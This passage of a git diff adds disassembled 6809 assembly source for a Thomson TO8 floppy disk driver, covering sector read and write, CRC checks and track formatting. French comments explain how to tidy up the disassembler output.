+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ EORA ,S
+ STA ,S
+ TFR A,B
+ LSRB
+ LSRB
+ LSRB
+ ASLA
+ ASLA
+ ASLA
+ ASLA
+ EORB 2,S
+ STB 2,S
+ TFR A,B
+ EORA 2,S
+ STA 1,S
+ ASLB
+ EORB ,S
+ STB 2,S
+ LEAS 1,S
+ LEAY -1,Y
+ BNE D0920
+ PULS A,B,PC
+D0930 LDA <$4C
+ STA 5,X
+ LDA #$0A
+ STA 4,X
+ LDA #$A1
+ STA 3,X
+ ORCC #$50
+ LDU <$4F
+ STB ,X
+ RTS
+D0940 LBSR D1100
+ LBCS D1050
+ PSHS CC
+ LDA <$58
+ BNE D1000
+ BSR D0860
+ LDB #$1B
+ BSR D0930
+ LDA #$04
+ LDY #$7500
+D0950 LEAY -1,Y
+ BEQ D1060
+ LDB ,X
+ BITB #$02
+ BEQ D0950
+ LDB 3,X
+D0960 DECA
+ BEQ D1080
+D0970 LDB ,X
+ BPL D0970
+ LDB 3,X
+ CMPB #$FB
+ BNE D0960
+ CLRA
+D0980 LDB ,X
+ BPL D0980
+ LDB 3,X
+ STB ,U+
+ DECA
+ BNE D0980
+D0990 LDB ,X
+ BITB #$08
+ BEQ D0990
+ BITB #$04
+ BNE D1070
+ BRA D1040
+D1000 LBSR D0890
+ LBSR D0760
+ BCS D1060
+ LEAY 3,Y
+ LBSR D0370
+ LDB #$FB
+ STB 3,X
+ LDD #$8038
+ STB ,X
+ LDY #$0100
+D1010 LEAY -1,Y
+ BEQ D1080
+ LDB ,X
+ BITB #$01
+ BEQ D1010
+ LDB 3,X
+ LDB #$28
+ STB ,X
+D1020 LDB ,X
+ BPL D1020
+ LDB 3,X
+ STB ,U+
+ DECA
+ BNE D1020
+D1030 LDB ,X
+ BPL D1030
+ LDB 3,X
+ PSHS B
+ COMA
+ BNE D1030
+ LBSR D0900
+ EXG A,B
+ CMPD ,S++
+ BNE D1070
+D1040 PULS CC
+ CLR ,X
+D1050 RTS
+D1060 LDA #$04
+ BRA D1090
+D1070 LDA #$08
+ BRA D1090
+D1080 LDA #$02
+D1090 STA <$4E
+ CLR ,X
+ PULS CC
+ COMA
+ RTS
+D1100 BSR D1120
+ BCS D1110
+ BSR D1160
+ CLRA
+D1110 RTS
+D1120 LDY #$8000
+D1130 LDB <$57
+ ORB #$04
+ STB 2,X
+ ANDB #$FB
+ STB 2,X
+ LEAY -1,Y
+ BEQ D1140
+ LDB 1,X
+ ANDB #$02
+ BEQ D1130
+ CLRA
+ RTS
+D1140 LDA #$10
+D1150 PSHS CC
+ BRA D1090
+D1160 LBSR D0360
+ BSR D1200
+ LDB ,Y
+ LDA <$57
+ SUBB <$4B
+ BEQ D1190
+ BPL D1170
+ ORA #$20
+ NEGB
+D1170 STA 2,X
+D1180 ORA #$14
+ STA 2,X
+ ANDA #$EB
+ STA 2,X
+ LBSR D0360
+ DECB
+ BNE D1180
+ LBSR D0350
+D1190 BSR D1200
+ LDB <$4B
+ STB 6,X
+ STB ,Y
+ RTS
+D1200 LDY #$6052
+ LDA <$49
+ ANDA #$02
+ LEAY A,Y
+ RTS
+D1210 PSHS U,Y,X,DP,B,A,CC
+ LBSR D0140
+ LDA <$49
+ CMPA #$04
+ BNE D1220
+ LDU #D0010 #$E00A
+ STU <$55 ^^^^^^
+* cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente l'indirection du point d'entrée
+* de la routine DSKINI de formatage).On
+* effacera donc #$E00A
+
+ JSR $FFA0
+ BRA D1270
+D1220 BSR D1310
+ LDA <$48
+ ANDA #$80
+ STA <$48
+ LBSR D0150
+ LBSR D1120
+ BCS D1270
+ LBSR D0310
+ BCS D1270
+ CLR <$4B
+ BSR D1280
+ BCS D1270
+D1230 PSHS CC
+ ORCC #$50
+ LBSR D1380
+ LDA #$02
+ PSHS A
+D1240 LBSR D1440
+ LDX #$E7D0
+ LBSR D1120
+ LBSR D1520
+ BCC D1250
+ DEC ,S
+ BNE D1240
+ PULS A
+ PULS CC
+ COMA
+ BRA D1270
+D1250 PULS A
+ PULS CC
+ LDA <$4B
+ CMPA #$4F
+ BEQ D1260
+ BSR D1300
+ BRA D1230
+D1260 LBSR D1960
+ BCS D1270
+ LDA #$50
+ STA <$4B
+D1270 LBRA D0110
+D1280 LDA 1,X
+ BITA #$04
+ BNE D1290
+ CLRA
+ RTS
+D1290 LDA #$01
+ LBRA D1150
+D1300 INC <$4B
+ LBRA D1160
+D1310 PSHS X
+ LDU #D1370 #$E55E
+D1320 LDX #$0003 ^^^^^^
+* cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente l'entrée d'une table) on efface-
+* ra donc #$E55E
+
+ LDB #$04
+D1330 LDA ,X
+ CMPA ,U
+ BEQ D1340
+ INCB
+ LEAU B,U
+ LDA ,U
+ BNE D1320
+ BRA D1360
+D1340 LEAX -1,X
+ BNE D1350
+ LDX #$001A
+D1350 LEAU 1,U
+ DECB
+ BNE D1330
+ LDA ,U
+ STA <$58
+D1360 PULS X,PC
+
+* Table pour la détection de certaines
+* cartouches et alors formatage en
+* simple ou double densité.
+
+* Après analyse de sa structure (1/d'un
+* simple coup d'oeil 2/par le code s'y
+* rapportant (en D1310/1360)), on mettra
+* les FCB 5 par 5 (plutôt que par 4), le
+* dernier FCB étant un zéro de fin.
+
+D1370 FCB $52,$45,$47,$6E
+ FCB $FF,$43,$49,$50
+ FCB $4A,$FF,$4C,$45
+ FCB $4D,$74,$FF,$4C
+ FCB $4F,$50,$B5,$00
+ FCB $53,$45,$47,$B6
+ FCB $00,$00
+
+D1380 LDX #$60D3
+ LDB #$10
+D1390 CLR B,X
+ DECB
+ BNE D1390
+ LEAX $10,X
+ PSHS X
+ LDX #$60D3
+ LDA #$01
+ LDB <$4D
+D1400 STA ,X
+ LEAX B,X
+ INCA
+ CMPA #$10
+ BHI D1430
+D1410 CMPX ,S
+ BCS D1420
+ LEAX -16,X
+D1420 TST ,X
+ BEQ D1400
+ LEAX 1,X
+ BRA D1410
+D1430 LEAS 2,S
+ RTS
+D1440 LDX #$60D3
+ LDU <$4F
+D1450 LDB ,X+
+ BEQ D1470
+ LDA <$4B
+ STA ,U
+ CLR 1,U
+ STB 2,U
+ LDY #$0004
+ LDA <$58
+ INCA
+ STA 3,U
+ BEQ D1480
+ LDD #$B230
+D1460 LBSR D0910
+ STD ,U++
+ BRA D1450
+D1470 RTS
+D1480 LDD #$EF21
+ BRA D1460
+D1490 LDB 1,X
+ BITB #$40
+ BEQ D1490
+D1500 LDB 3,X
+ LDB ,X
+ BPL D1500
+D1510 LDB ,X
+ BPL D1510
+ RTS
+D1520 LDA #$10
+ PSHS A
+ LDU <$4F
+ LDA <$58
+ LBNE D1720
+ LBSR D0860
+ BSR D1490
+ LDD #$4EFF
+ STD 3,X
+ LDB #$04
+ STB ,X
+D1530 LDA #$1E
+D1540 LDB ,X
+ BPL D1540
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE D1540
+D1550 LDA #$0C
+D1560 LDB ,X
+ BPL D1560
+ CLR 3,X
+ DECA
+ BNE D1560
+D1570 LDB ,X
+ BPL D1570
+ LDD #$A10A
+ STD 3,X
+D1580 LDB ,X
+ BPL D1580
+ STA 3,X
+D1590 LDB ,X
+ BPL D1590
+ STA 3,X
+D1600 LDB ,X
+ BPL D1600
+ LDD #$FEFF
+ STD 3,X
+ LDA #$06
+D1610 LDB ,X
+ BPL D1610
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE D1610
+ LDA #$16
+D1620 LDB ,X
+ BPL D1620
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE D1620
+ LDA #$0C
+D1630 LDB ,X
+ BPL D1630
+ CLR 3,X
+ DECA
+ BNE D1630
+D1640 LDB ,X
+ BPL D1640
+ LDD #$A10A
+ STD 3,X
+D1650 LDB ,X
+ BPL D1650
+ STA 3,X
+D1660 LDB ,X
+ BPL D1660
+ STA 3,X
+D1670 LDB ,X
+ BPL D1670
+ LDD #$FBFF
+ STD 3,X
+ CLRA
+D1680 LDB ,X
+ BPL D1680
+ LDB #$E5
+ STB 3,X
+ DECA
+ BNE D1680
+D1690 LDB ,X
+ BPL D1690
+ LDB #$78
+ STB 3,X
+D1700 LDB ,X
+ BPL D1700
+ LDB #$27
+ STB 3,X
+ LDA #$2C
+D1710 LDB ,X
+ BPL D1710
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE D1710
+ DEC ,S
+ LBNE D1550
+ LBRA D1870
+D1720 LBSR D0890
+ LBSR D1490
+ LDD #$FFFF
+ STD 3,X
+ LDB #$24
+ STB ,X
+ LDA #$10
+D1730 LDB ,X
+ BPL D1730
+ LDB #$FF
+ STB 3,X
+ DECA
+ BNE D1730
+D1740 LDA #$06
+D1750 LDB ,X
+ BPL D1750
+ CLR 3,X
+ DECA
+ BNE D1750
+D1760 LDB ,X
+ BPL D1760
+ LDD #$FEC7
+ STD 3,X
+D1770 LDB ,X
+ BPL D1770
+ LDB #$FF
+ LDA ,U+
+ STD 3,X
+ LDA #$05
+D1780 LDB ,X
+ BPL D1780
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE D1780
+ LDA #$0C
+D1790 LDB ,X
+ BPL D1790
+ LDB #$FF
+ STB 3,X
+ DECA
+ BNE D1790
+ LDA #$06
+D1800 LDB ,X
+ BPL D1800
+ CLR 3,X
+ DECA
+ BNE D1800
+D1810 LDB ,X
+ BPL D1810
+ LDD #$FBC7
+ STD 3,X
+D1820 LDB ,X
+ BPL D1820
+ LDD #D1530 #$E5FF
+ STD 3,X ^^^^^^
+* cette valeur est
+* l'ancienne valeur du LDD# .Ici elle ne
+* représente pas une adresse, mais il se
+* trouve que $E5FF était dans la zone à
+* ressourcer.Le SOURCER a donc cherché ,
+* et trouvé une occurence mais l'analyse
+* logique du code montre à l'évidence
+* qu'il faut restaurer l'ancienne valeur
+* Donc nous remplacerons D1530 par $E5FF
+* et nous chercherons si D1530 est une
+* étiquette utilisée ailleurs (pour un
+* saut (BNE,JSR etc...) ou une adresse
+* (LDX #D1530 ...)): si cela n'est pas
+* le cas nous supprimerons l'étiquette
+* D1530 (sinon la garder !)
+
+ LDA #$7F
+D1830 LDB ,X
+ BPL D1830
+ LDB #$E5
+ STB 3,X
+ DECA
+ BNE D1830
+D1840 LDB ,X
+ BPL D1840
+ LDB #$5D
+ STB 3,X
+D1850 LDB ,X
+ BPL D1850
+ LDB #$30
+ STB 3,X
+ LDA #$16
+D1860 LDB ,X
+ BPL D1860
+ LDB #$FF
+ STB 3,X
+ DECA
+ BNE D1860
+ DEC ,S
+ LBNE D1740
+D1870 LDA 1,X
+ BITA #$40
+ BNE D1890
+D1880 LDA ,X
+ BPL D1880
+ STB 3,X
+ BRA D1870
+D1890 PULS A
+ CLR ,X
+ TST <$48
+ BPL D1930
+ LDA #$E5
+ BSR D1940
+ LDU #$60D3
+ LBSR D1120
+D1900 LDA ,U+
+ BEQ D1930
+ STA <$4C
+ PSHS U
+ LDA <$58
+ BEQ D1910
+ LBSR D0750
+ BRA D1920
+D1910 LBSR D0560
+D1920 PULS U
+ BCC D1900
+D1930 RTS
+D1940 LDU <$4F
+ LDB <$58
+ ANDB #$80
+D1950 STA ,U+
+ DECB
+ BNE D1950
+ RTS
+D1960 LDA #$14
+ STA <$4B
+ LBSR D1160
+ LDA #$FF
+ BSR D1940
+ LDA #$10
+ STA <$4C
+D1970 LBSR D1120
+ LBSR D0420
+ BCS D1980
+ DEC <$4C
+ BNE D1970
+ LDU <$4F
+ CLR ,U
+ LDD #$FEFE
+ STD $29,U
+ LDA #$02
+ STA <$4C
+ LBSR D0420
+ BCS D1980
+ CLRA
+D1980 RTS
+
+* nous placerons à la fin la directive
+* 'END' (nous aurions pu le faire sous
+* CODEVIEW)
diff --git a/code/3rdparty/sources3-lambinet/DOSTO8S.ASM b/code/3rdparty/sources3-lambinet/DOSTO8S.ASM
new file mode 100644
index 0000000..aede3d0
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/DOSTO8S.ASM
@@ -0,0 +1,957 @@
+ FCC #MTD:#
+D0000 LBRA D0090
+ LBRA D0020
+D0010 LBRA D1210
+ LBSR $ECB8
+ LBSR $ECB8
+ LBSR $ECB8
+ LBSR $ECB8
+ LBSR $ECB8
+ LBSR $ECB8
+ LBSR $ECB8
+ LBSR $ECB8
+D0020 BSR D0140
+ CLR <$49
+ BSR D0150
+ LBSR D0260
+ LDA #$02
+D0030 PSHS A
+ CLR <$58
+D0040 LDD #$0001
+ STD <$4B
+ LDU #$6200
+ STU <$4F
+ LBSR D0940
+ BSR D0170
+ LDU <$4F
+ BCC D0050
+ LDA <$58
+ BNE D0070
+ COM <$58
+ BRA D0040
+D0050 LDY #$627F
+ PSHS Y
+ LDA #$55
+D0060 DEC ,U
+ COM ,U
+ ADDA ,U+
+ CMPU ,S
+ BNE D0060
+ PULS Y
+ CMPA ,U
+ BNE D0080
+ JMP $6200
+D0070 PULS A
+ DECA
+ BNE D0030
+D0080 CLR <$80
+ JMP [$001E]
+D0090 PSHS U,Y,X,DP,B,A,CC
+ BSR D0140
+ LDA <$48
+ CMPA #$01
+ BEQ D0100
+ LDA <$49
+ CMPA #$04
+ BEQ D0130
+D0100 BSR D0150
+ BSR D0190
+D0110 BSR D0170
+D0120 PULS A
+ EXG A,CC
+ LSRA
+ PULS A,B,DP,X,Y,U,PC
+D0130 LDU #D0000 #$E004
+ STU <$55
+ JSR $FFA0
+ BRA D0120
+D0140 LDA #$60
+ TFR A,DP
+ LDX #$E7D0
+ CLR <$4E
+ RTS
+D0150 LDD <$48
+ CMPA #$01
+ BNE D0160
+ LDB #$01
+D0160 LDU #D0180 #$E0BE
+ LDA B,U
+ STA 2,X
+ STA <$57
+ RTS
+D0170 LDA #$40
+ STA 2,X
+ RTS
+D0180 FCB $41,$01,$42,$02
+D0190 LDA #$02
+ PSHS A
+D0200 CLRA
+ LDB <$48
+D0210 LSRB
+ INCA
+ BCC D0210
+ DECA
+ ASLA
+ LDY #D0250 #$E0F0
+ JSR [A,Y]
+ BCC D0240
+ LDA <$4E
+ BITA #$51
+ BNE D0240
+D0220 DEC ,S
+ BEQ D0230
+ CLR <$4E
+ CMPA #$08
+ BEQ D0200
+ BSR D0310
+ BCS D0220
+ BRA D0200
+D0230 COMB
+D0240 PULS A,PC
+D0250 FDB D0260 =$E0FE
+ FDB D0940 =$E3A7
+ FDB D0380 =$E16E
+ FDB D0410 =$E177
+ FDB D0390 =$E174
+ FDB D0310 =$E134
+ FDB D1100 =$E452
+D0260 BSR D0310
+ BCS D0300
+ LDA #$01
+ STA <$4B
+ LBSR D1160
+ LDB #$44
+ LDA 1,X
+ BITA #$08
+ BEQ D0270
+ LDB #$43
+D0270 STB <$4E
+ BSR D0310
+ CLR <$52
+ CLR <$54
+ CLR ,X
+ CLR <$58
+ LDD <$E9
+ SUBD <$ED
+ BGE D0280
+ COMA
+ COMB
+ ADDD #$0001
+D0280 TSTA
+ BNE D0290
+ TSTB
+ BPL D0290
+ COM <$58
+D0290 CLRA
+D0300 RTS
+D0310 LDB #$64
+D0320 LDA 1,X
+ BITA #$08
+ BNE D0330
+ LDA <$57
+ ORA #$10
+ STA 2,X
+ ANDA #$EF
+ STA 2,X
+ BSR D0360
+ DECB
+ LBEQ D1140
+ BRA D0320
+D0330 BSR D0350
+ LBSR D1200
+ CLR ,Y
+ CLR 6,X
+ RTS
+D0340 LDY #$006C
+ BRA D0370
+D0350 LDY #$0750
+ BRA D0370
+D0360 LDY #$02EC
+D0370 LEAY -1,Y
+ BNE D0370
+ RTS
+D0380 LDA #$FF
+ STA <$58
+ CLRA
+ RTS
+D0390 CLR <$58
+D0400 RTS
+D0410 LBSR D1100
+ BCS D0400
+ LDA 1,X
+ BITA #$04
+ BEQ D0420
+ LDA #$01
+ LBRA D1150
+D0420 LDA <$58
+ LBNE D0570
+ LBSR D0860
+ LDB #$19
+ PSHS CC
+ LBSR D0930
+ LDY #$7500
+D0430 LEAY -1,Y
+ LBEQ D1060
+ LDB ,X
+ BITB #$02
+ BEQ D0430
+ STA 3,X
+D0440 LDB ,X
+ BPL D0440
+ STA 3,X
+D0450 LDB ,X
+ BPL D0450
+ LDB #$FB
+ STB 3,X
+ CLRA
+D0460 LDB ,X
+ BPL D0460
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE D0460
+D0470 LDB ,X
+ BITB #$08
+ BEQ D0470
+ BSR D0340
+ TST <$48
+ BPL D0550
+D0480 LBSR D1120
+ LDB #$1B
+ LBSR D0930
+ LDA #$04
+ LDY #$7500
+D0490 LEAY -1,Y
+ LBEQ D0740
+ LDB ,X
+ BITB #$02
+ BEQ D0490
+ LDB 3,X
+D0500 DECA
+ LBEQ D1080
+D0510 LDB ,X
+ BPL D0510
+ LDB 3,X
+ CMPB #$FB
+ BNE D0500
+ CLRA
+D0520 LDB ,X
+ BPL D0520
+ LDB 3,X
+ CMPB ,U+
+ BNE D0530
+ DECA
+ BNE D0520
+D0530 LDB ,X
+ BITB #$08
+ BEQ D0530
+ TSTA
+ BNE D0540
+ BITB #$04
+D0540 LBNE D0740
+D0550 PULS CC
+ CLR ,X
+ RTS
+D0560 PSHS CC
+ BRA D0480
+D0570 LBSR D0890
+ LBSR D0900
+ PSHS CC
+ PSHS B,A
+ LBSR D0760
+ BCC D0580
+ PULS A,B
+ LBRA D1060
+D0580 LDB #$FF
+ STB 4,X
+ LDD #$0624
+ STB ,X
+D0590 LDB ,X
+ BPL D0590
+ CLR 3,X
+ DECA
+ BNE D0590
+D0600 LDB ,X
+ BPL D0600
+ LDD #$FBC7
+ STD 3,X
+ LDB #$FF
+D0610 LDA ,X
+ BPL D0610
+ LDA ,U+
+ STD 3,X
+ LDA #$7F
+D0620 LDB ,X
+ BPL D0620
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE D0620
+D0630 LDB ,X
+ BPL D0630
+ PULS B
+ STB 3,X
+ COMA
+ BNE D0630
+D0640 LDB ,X
+ BPL D0640
+ CLR 3,X
+D0650 LDB ,X
+ BPL D0650
+ LDB #$20
+ STB ,X
+D0660 LDB ,X
+ BPL D0660
+ LDB 3,X
+ COMA
+ BNE D0660
+ LEAS -2,S
+ LBSR D0340
+ TST <$48
+ BPL D0720
+D0670 LBSR D1120
+ BSR D0760
+ BCS D0730
+ LDB #$FB
+ STB 3,X
+ LDD #$8038
+ STB ,X
+ LDY #$0100
+D0680 LEAY -1,Y
+ BEQ D0730
+ LDB ,X
+ BITB #$01
+ BEQ D0680
+ LDB 3,X
+ LDB #$28
+ STB ,X
+D0690 LDB ,X
+ BPL D0690
+ LDB 3,X
+ CMPB ,U+
+ BNE D0730
+ DECA
+ BNE D0690
+D0700 LDA ,X
+ BPL D0700
+ LDA 3,X
+D0710 LDB ,X
+ BPL D0710
+ LDB 3,X
+ CMPD ,S
+ BNE D0730
+D0720 PULS A,B
+ PULS CC
+ CLR ,X
+ RTS
+D0730 PULS A,B
+D0740 LDA #$20
+ LBRA D1090
+D0750 PSHS CC
+ LDD #$5D30
+ PSHS B,A
+ BRA D0670
+D0760 LDA #$C7
+ STA 4,X
+ LDA #$FE
+ STA 3,X
+ LDA #$30
+ LDU <$4F
+ ORCC #$50
+D0770 LDB #$38
+ STB ,X
+ LDY #$1700
+D0780 LEAY -1,Y
+ BEQ D0850
+ LDB ,X
+ BITB #$01
+ BEQ D0780
+ LDB 3,X
+ LDB #$28
+ STB ,X
+D0790 LDB ,X
+ BPL D0790
+ LDB 3,X
+ CMPB <$4B
+ BNE D0840
+D0800 LDB ,X
+ BPL D0800
+ LDB 3,X
+ BNE D0840
+D0810 LDB ,X
+ BPL D0810
+ LDB 3,X
+ CMPB <$4C
+ BNE D0840
+D0820 LDB ,X
+ BPL D0820
+ LDB 3,X
+ BNE D0840
+ LBSR D0340
+ CLRA
+D0830 LDA ,X
+ RTS
+D0840 DECA
+ BNE D0770
+D0850 COMB
+ BRA D0830
+D0860 LDB <$4B
+ CMPB #$39
+ BPL D0870
+ LDD #$9F20
+ BRA D0880
+D0870 LDD #$1F22
+D0880 STA 7,X
+ STB 1,X
+ RTS
+D0890 LDA #$BF
+ STA 7,X
+ CLR 1,X
+ RTS
+D0900 LDU <$4F
+ LDY #$0080
+ LDD #$BF84
+D0910 PSHS B,A
+D0920 LDA ,S
+ EORA ,U+
+ PSHS A
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ EORA ,S
+ STA ,S
+ TFR A,B
+ LSRB
+ LSRB
+ LSRB
+ ASLA
+ ASLA
+ ASLA
+ ASLA
+ EORB 2,S
+ STB 2,S
+ TFR A,B
+ EORA 2,S
+ STA 1,S
+ ASLB
+ EORB ,S
+ STB 2,S
+ LEAS 1,S
+ LEAY -1,Y
+ BNE D0920
+ PULS A,B,PC
+D0930 LDA <$4C
+ STA 5,X
+ LDA #$0A
+ STA 4,X
+ LDA #$A1
+ STA 3,X
+ ORCC #$50
+ LDU <$4F
+ STB ,X
+ RTS
+D0940 LBSR D1100
+ LBCS D1050
+ PSHS CC
+ LDA <$58
+ BNE D1000
+ BSR D0860
+ LDB #$1B
+ BSR D0930
+ LDA #$04
+ LDY #$7500
+D0950 LEAY -1,Y
+ BEQ D1060
+ LDB ,X
+ BITB #$02
+ BEQ D0950
+ LDB 3,X
+D0960 DECA
+ BEQ D1080
+D0970 LDB ,X
+ BPL D0970
+ LDB 3,X
+ CMPB #$FB
+ BNE D0960
+ CLRA
+D0980 LDB ,X
+ BPL D0980
+ LDB 3,X
+ STB ,U+
+ DECA
+ BNE D0980
+D0990 LDB ,X
+ BITB #$08
+ BEQ D0990
+ BITB #$04
+ BNE D1070
+ BRA D1040
+D1000 LBSR D0890
+ LBSR D0760
+ BCS D1060
+ LEAY 3,Y
+ LBSR D0370
+ LDB #$FB
+ STB 3,X
+ LDD #$8038
+ STB ,X
+ LDY #$0100
+D1010 LEAY -1,Y
+ BEQ D1080
+ LDB ,X
+ BITB #$01
+ BEQ D1010
+ LDB 3,X
+ LDB #$28
+ STB ,X
+D1020 LDB ,X
+ BPL D1020
+ LDB 3,X
+ STB ,U+
+ DECA
+ BNE D1020
+D1030 LDB ,X
+ BPL D1030
+ LDB 3,X
+ PSHS B
+ COMA
+ BNE D1030
+ LBSR D0900
+ EXG A,B
+ CMPD ,S++
+ BNE D1070
+D1040 PULS CC
+ CLR ,X
+D1050 RTS
+D1060 LDA #$04
+ BRA D1090
+D1070 LDA #$08
+ BRA D1090
+D1080 LDA #$02
+D1090 STA <$4E
+ CLR ,X
+ PULS CC
+ COMA
+ RTS
+D1100 BSR D1120
+ BCS D1110
+ BSR D1160
+ CLRA
+D1110 RTS
+D1120 LDY #$8000
+D1130 LDB <$57
+ ORB #$04
+ STB 2,X
+ ANDB #$FB
+ STB 2,X
+ LEAY -1,Y
+ BEQ D1140
+ LDB 1,X
+ ANDB #$02
+ BEQ D1130
+ CLRA
+ RTS
+D1140 LDA #$10
+D1150 PSHS CC
+ BRA D1090
+D1160 LBSR D0360
+ BSR D1200
+ LDB ,Y
+ LDA <$57
+ SUBB <$4B
+ BEQ D1190
+ BPL D1170
+ ORA #$20
+ NEGB
+D1170 STA 2,X
+D1180 ORA #$14
+ STA 2,X
+ ANDA #$EB
+ STA 2,X
+ LBSR D0360
+ DECB
+ BNE D1180
+ LBSR D0350
+D1190 BSR D1200
+ LDB <$4B
+ STB 6,X
+ STB ,Y
+ RTS
+D1200 LDY #$6052
+ LDA <$49
+ ANDA #$02
+ LEAY A,Y
+ RTS
+D1210 PSHS U,Y,X,DP,B,A,CC
+ LBSR D0140
+ LDA <$49
+ CMPA #$04
+ BNE D1220
+ LDU #D0010 #$E00A
+ STU <$55
+ JSR $FFA0
+ BRA D1270
+D1220 BSR D1310
+ LDA <$48
+ ANDA #$80
+ STA <$48
+ LBSR D0150
+ LBSR D1120
+ BCS D1270
+ LBSR D0310
+ BCS D1270
+ CLR <$4B
+ BSR D1280
+ BCS D1270
+D1230 PSHS CC
+ ORCC #$50
+ LBSR D1380
+ LDA #$02
+ PSHS A
+D1240 LBSR D1440
+ LDX #$E7D0
+ LBSR D1120
+ LBSR D1520
+ BCC D1250
+ DEC ,S
+ BNE D1240
+ PULS A
+ PULS CC
+ COMA
+ BRA D1270
+D1250 PULS A
+ PULS CC
+ LDA <$4B
+ CMPA #$4F
+ BEQ D1260
+ BSR D1300
+ BRA D1230
+D1260 LBSR D1960
+ BCS D1270
+ LDA #$50
+ STA <$4B
+D1270 LBRA D0110
+D1280 LDA 1,X
+ BITA #$04
+ BNE D1290
+ CLRA
+ RTS
+D1290 LDA #$01
+ LBRA D1150
+D1300 INC <$4B
+ LBRA D1160
+D1310 PSHS X
+ LDU #D1370 #$E55E
+D1320 LDX #$0003
+ LDB #$04
+D1330 LDA ,X
+ CMPA ,U
+ BEQ D1340
+ INCB
+ LEAU B,U
+ LDA ,U
+ BNE D1320
+ BRA D1360
+D1340 LEAX -1,X
+ BNE D1350
+ LDX #$001A
+D1350 LEAU 1,U
+ DECB
+ BNE D1330
+ LDA ,U
+ STA <$58
+D1360 PULS X,PC
+D1370 FCB $52,$45,$47,$6E
+ FCB $FF,$43,$49,$50
+ FCB $4A,$FF,$4C,$45
+ FCB $4D,$74,$FF,$4C
+ FCB $4F,$50,$B5,$00
+ FCB $53,$45,$47,$B6
+ FCB $00,$00
+D1380 LDX #$60D3
+ LDB #$10
+D1390 CLR B,X
+ DECB
+ BNE D1390
+ LEAX $10,X
+ PSHS X
+ LDX #$60D3
+ LDA #$01
+ LDB <$4D
+D1400 STA ,X
+ LEAX B,X
+ INCA
+ CMPA #$10
+ BHI D1430
+D1410 CMPX ,S
+ BCS D1420
+ LEAX -16,X
+D1420 TST ,X
+ BEQ D1400
+ LEAX 1,X
+ BRA D1410
+D1430 LEAS 2,S
+ RTS
+D1440 LDX #$60D3
+ LDU <$4F
+D1450 LDB ,X+
+ BEQ D1470
+ LDA <$4B
+ STA ,U
+ CLR 1,U
+ STB 2,U
+ LDY #$0004
+ LDA <$58
+ INCA
+ STA 3,U
+ BEQ D1480
+ LDD #$B230
+D1460 LBSR D0910
+ STD ,U++
+ BRA D1450
+D1470 RTS
+D1480 LDD #$EF21
+ BRA D1460
+D1490 LDB 1,X
+ BITB #$40
+ BEQ D1490
+D1500 LDB 3,X
+ LDB ,X
+ BPL D1500
+D1510 LDB ,X
+ BPL D1510
+ RTS
+D1520 LDA #$10
+ PSHS A
+ LDU <$4F
+ LDA <$58
+ LBNE D1720
+ LBSR D0860
+ BSR D1490
+ LDD #$4EFF
+ STD 3,X
+ LDB #$04
+ STB ,X
+D1530 LDA #$1E
+D1540 LDB ,X
+ BPL D1540
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE D1540
+D1550 LDA #$0C
+D1560 LDB ,X
+ BPL D1560
+ CLR 3,X
+ DECA
+ BNE D1560
+D1570 LDB ,X
+ BPL D1570
+ LDD #$A10A
+ STD 3,X
+D1580 LDB ,X
+ BPL D1580
+ STA 3,X
+D1590 LDB ,X
+ BPL D1590
+ STA 3,X
+D1600 LDB ,X
+ BPL D1600
+ LDD #$FEFF
+ STD 3,X
+ LDA #$06
+D1610 LDB ,X
+ BPL D1610
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE D1610
+ LDA #$16
+D1620 LDB ,X
+ BPL D1620
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE D1620
+ LDA #$0C
+D1630 LDB ,X
+ BPL D1630
+ CLR 3,X
+ DECA
+ BNE D1630
+D1640 LDB ,X
+ BPL D1640
+ LDD #$A10A
+ STD 3,X
+D1650 LDB ,X
+ BPL D1650
+ STA 3,X
+D1660 LDB ,X
+ BPL D1660
+ STA 3,X
+D1670 LDB ,X
+ BPL D1670
+ LDD #$FBFF
+ STD 3,X
+ CLRA
+D1680 LDB ,X
+ BPL D1680
+ LDB #$E5
+ STB 3,X
+ DECA
+ BNE D1680
+D1690 LDB ,X
+ BPL D1690
+ LDB #$78
+ STB 3,X
+D1700 LDB ,X
+ BPL D1700
+ LDB #$27
+ STB 3,X
+ LDA #$2C
+D1710 LDB ,X
+ BPL D1710
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE D1710
+ DEC ,S
+ LBNE D1550
+ LBRA D1870
+D1720 LBSR D0890
+ LBSR D1490
+ LDD #$FFFF
+ STD 3,X
+ LDB #$24
+ STB ,X
+ LDA #$10
+D1730 LDB ,X
+ BPL D1730
+ LDB #$FF
+ STB 3,X
+ DECA
+ BNE D1730
+D1740 LDA #$06
+D1750 LDB ,X
+ BPL D1750
+ CLR 3,X
+ DECA
+ BNE D1750
+D1760 LDB ,X
+ BPL D1760
+ LDD #$FEC7
+ STD 3,X
+D1770 LDB ,X
+ BPL D1770
+ LDB #$FF
+ LDA ,U+
+ STD 3,X
+ LDA #$05
+D1780 LDB ,X
+ BPL D1780
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE D1780
+ LDA #$0C
+D1790 LDB ,X
+ BPL D1790
+ LDB #$FF
+ STB 3,X
+ DECA
+ BNE D1790
+ LDA #$06
+D1800 LDB ,X
+ BPL D1800
+ CLR 3,X
+ DECA
+ BNE D1800
+D1810 LDB ,X
+ BPL D1810
+ LDD #$FBC7
+ STD 3,X
+D1820 LDB ,X
+ BPL D1820
+ LDD #D1530 #$E5FF
+ STD 3,X
+ LDA #$7F
+D1830 LDB ,X
+ BPL D1830
+ LDB #$E5
+ STB 3,X
+ DECA
+ BNE D1830
+D1840 LDB ,X
+ BPL D1840
+ LDB #$5D
+ STB 3,X
+D1850 LDB ,X
+ BPL D1850
+ LDB #$30
+ STB 3,X
+ LDA #$16
+D1860 LDB ,X
+ BPL D1860
